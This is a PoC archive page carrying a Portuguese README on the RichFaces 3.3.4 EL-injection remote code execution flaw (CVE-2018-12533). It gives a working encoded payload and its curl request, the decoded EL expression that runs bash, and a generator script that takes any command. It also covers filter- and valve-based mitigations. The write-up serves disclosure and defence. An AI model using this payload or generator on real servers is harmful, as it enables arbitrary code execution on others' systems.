POC详情: 594d3163d0956992c2106f1fc9f0e381e683de57

来源
关联漏洞
标题: Red Hat JBoss RichFaces 代码注入漏洞 (CVE-2018-12533)
描述:Red Hat JBoss RichFaces是美国红帽(Red Hat)公司的一个开源的JSF(JavaServer Faces)组件库。该库提供内置的JavaScript和Ajax功能。 Red Hat JBoss RichFaces 3.1.0版本至3.3.4版本中存在安全漏洞。远程攻击者可利用该漏洞注入EL表达式并执行任意Java代码。
介绍
# Demonstra a falha presente no RichFaces 3.3.4 de execução remota de código e como mitigar e/ou bloquear <!-- omit in toc -->

- [Exemplo de ataque](#exemplo-de-ataque)
- [Clonar o repositório](#clonar-o-repositório)
- [Decodificando o payload](#decodificando-o-payload)
- [Deserializando a classe Java](#deserializando-a-classe-java)
- [Gerando um payload para testar a vulnerabilidade](#gerando-um-payload-para-testar-a-vulnerabilidade)
- [Como mitigar?](#como-mitigar)
  - [Se você realmente precisa desse endpoint](#se-você-realmente-precisa-desse-endpoint)
  - [Se você não precisa desse endpoint](#se-você-não-precisa-desse-endpoint)
- [Entendendo o fluxo da execução](#entendendo-o-fluxo-da-execução)
- [Quem usa esse recurso?](#quem-usa-esse-recurso)
- [Dicas](#dicas)
- [Links relevantes](#links-relevantes)

> Detalhes da [CVE-2018-12533](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-12533). Outras versões do RichFaces são vulneráveis, como pode ser visto [aqui](https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html).

## Exemplo de ataque

```bash
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
```

Após o `DATA/` e até antes do `.seam`, é o payload do ataque. Isso é apenas uma classe Java serializada e zipada e codificada em Base64. É um Base64 com o formato um pouco modificado pelo RichFaces para ser compatível com a URL.

Essa classe contém uma linha de comando no formato de [Expression Language](https://en.wikipedia.org/wiki/Expression_language) que é executada pela aplicação, mais precisamente pelo RichFaces, **e aí que está o problema, pois um código arbitrário pode ser executado no servidor**.

> O comando que está codificado no payload acima é `touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458` (apenas para efeito de demonstração) e vamos constatar isso logo a frente.

## Clonar o repositório

```bash
git clone git@github.com:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
```

## Decodificando o payload

```bash
echo "${PAYLOAD_BASE64_RICHFACES}" | \
    sed 's/-/+/g' | \
    sed 's#!#/#g' | \
    sed 's/_/=/g' | \
    base64 -d | \
    zlib-flate -uncompress > UmaClasse.serialized-class.bin
```

Converte o payload do formato de Base64 do RichFaces para o formatado padrão de Base64. Decodifica o Base64, que nesse caso é um binário zipado, então descomprime, o que vai gerar o binário da classe [java serializada](https://en.wikipedia.org/wiki/Serialization#Java).

## Deserializando a classe Java

Aqui vamos ver o comando malicioso que está dentro do payload.

O comando abaixo vai mostrar todos os atributos da classe e os respectivos tipos definidos na classe. Não exibe os tipos em runtime, se não sabe o que isso significa, tudo bem.

> Aqui estamos executando código Java como se fosse um script graças ao [JBang](https://www.jbang.dev/)

```bash
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
```

O output é algo parecido com isso:

```json
Objeto java convertido para JSON:
{
  "_width (int)": 111,
  "_height (int)": 31,
  "_data (java.lang.Object)": null,
  "_format (int)": 1,
  "_paint (java.lang.Object)": {
    "className (java.lang.String)": null,
    "savedState (java.io.Serializable)": {
      "m (javax.el.MethodExpression)": {
        "attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
        "orig (javax.el.MethodExpression)": {
          "expectedType (java.lang.Class)": null,
          "expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
          "fnMapper (javax.el.FunctionMapper)": null,
          "varMapper (javax.el.VariableMapper)": null,
          "paramTypes ([Ljava.lang.Class;)": [
            "java.awt.Graphics2D",
            "java.lang.Object"
          ]
        }
      }
    }
  },
  "cacheable (boolean)": false,
  "_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
```

⚠️ O ponto principal é o atributo `_paint.savedState.m.orig.expr`, onde está o código malicioso, que nesse exemplo é apenas um código inofensivo que cria um arquivo no disco: `touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458`

## Gerando um payload para testar a vulnerabilidade

```bash
chmod +x Generator_Paint2DResourceImageData.java

./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
```

O output vai exibir os comandos no ponto de você executar contra um servidor vulnerável. Ajuste apenas a URL.

## Como mitigar?

### Se você realmente precisa desse endpoint

Uma opção menos simples e mais performática, é modificar o código do RichFaces para fazer algum tratamento. Mais abaixo tem a stack relevante.

Outra opção mais simples que a anterior, é criar um filtro (`javax.servlet.Filter`), que vai agir apenas no path em questão, deserializando o Base64 presente no path e fazendo a devida verificação para descobrir se o request pode continuar ou se tem que ser rejeitado. **É importante frisar** que a deserialização tem que ocorrer por meio da classe `LookAheadObjectInputStream`, como é feito em `org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)`, para tentar evitar ao máximo [problemas de segurança durante a deserialização](https://www.baeldung.com/java-deserialization-vulnerabilities), como por exemplo execução de código malicioso.

### Se você não precisa desse endpoint

Um opção é bloquear o path do endpoint em algum proxy que esteja na frente da aplicação.

**Outra opção, que acho que vale implementar,** mas que não exime a primeira opção, é criar um filtro (`javax.servlet.Filter`), que vai agir apenas no path em questão e vai bloquear o acesso. O bloqueio consiste apenas em responder a requisição sem deixar a cadeia de filtros prosseguir a execução. Você pode colocar um texto no body e usar o http status code 410 (Gone). Lembrando que esse filtro deve ser definido no `web.xml` da aplicação. **Um exemplo desse filtro:** [PathBlockerFilter](./exemplos/PathBlockerFilter.java).

> Se usa JBoss EAP, o filtro falado aqui pode ser implementado como um valve (a mudança é mínima), e:
>
> - será executado antes dos filtros definidos no `web.xml`
> - deve ser definido no arquivo `jboss-web.xml` como sendo o primeiro `<valve>`, ou
> - pode ser definido no standalone.xml (ou domain.xml) no subsystem `urn:jboss:domain:web` por meio da tag `<valve`
> - **Exemplo desse valve:** [PathBlockerValve](./exemplos/PathBlockerValve.java)

## Entendendo o fluxo da execução

> **tl;dr:** o código malicioso é executado pelo método `org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)`, na linha ``paint.invoke(facesContext, new Object[] {graphics,data._data});``.

Quando a requisição http é feita, ela chega ao método `org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String)`, conforme a stack abaixo:

```stack
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
  owns: org.apache.coyote.Request  (id=27053)
  org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
```

1. Na linha `dataString = key.substring(dataStart);` é extraído o Base64 no formato do RichFaces (lembrando que esse Base64 no final das contas é um objeto java que foi serializado e zipado);
2. Na linha `objectArray = decrypt(dataArray)` esse Base64 é decodificado e descomprimido;
3. Na linha `data = in.readObject()` o objeto java com o código malicioso é deserializando, ou seja, tem-se a instância do objeto.

Em seguida a requisição chega no método `org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)`, conforme a stack abaixo:

```stack
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
  owns: org.apache.coyote.Request  (id=27053)
  org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
  org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
  org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
  org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
  org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
```

⚠️ Então na linha `paint.invoke(facesContext, new Object[] {graphics,data._data});` o código malicioso é finalmente executado.

## Quem usa esse recurso?

Vou citar um caso, o componente `rich:paint2D`: <https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D>

## Dicas

É possível ver o payload recebido pela aplicação ativando o log DEBUG passa a classe `org.ajax4jsf.resource.ResourceBuilderImpl`.

## Links relevantes

- <https://codewhitesec.blogspot.com/2018/05/poor-richfaces.html> (Principal)
- <https://seclists.org/fulldisclosure/2020/Mar/21>
- <https://github.com/redtimmy/Richsploit>
- <https://web.archive.org/web/20200315184606/https://www.redtimmy.com/java-hacking/richsploit-one-tool-to-exploit-all-versions-of-richfaces-ever-released/>
文件快照

[4.0K] /data/pocs/594d3163d0956992c2106f1fc9f0e381e683de57 ├── [4.0K] exemplos │   ├── [4.2K] PathBlockerFilter.java │   └── [3.5K] PathBlockerValve.java ├── [5.8K] Generator_Paint2DResourceImageData.java ├── [4.2K] JavaObjectDeserializer.java ├── [4.0K] javax │   └── [4.0K] faces │   └── [4.0K] component │   └── [ 406] StateHolderSaver.java ├── [4.0K] org │   └── [4.0K] richfaces │   └── [4.0K] renderkit │   └── [4.0K] html │   └── [ 784] Paint2DResource.java └── [ 11K] README.md 8 directories, 7 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。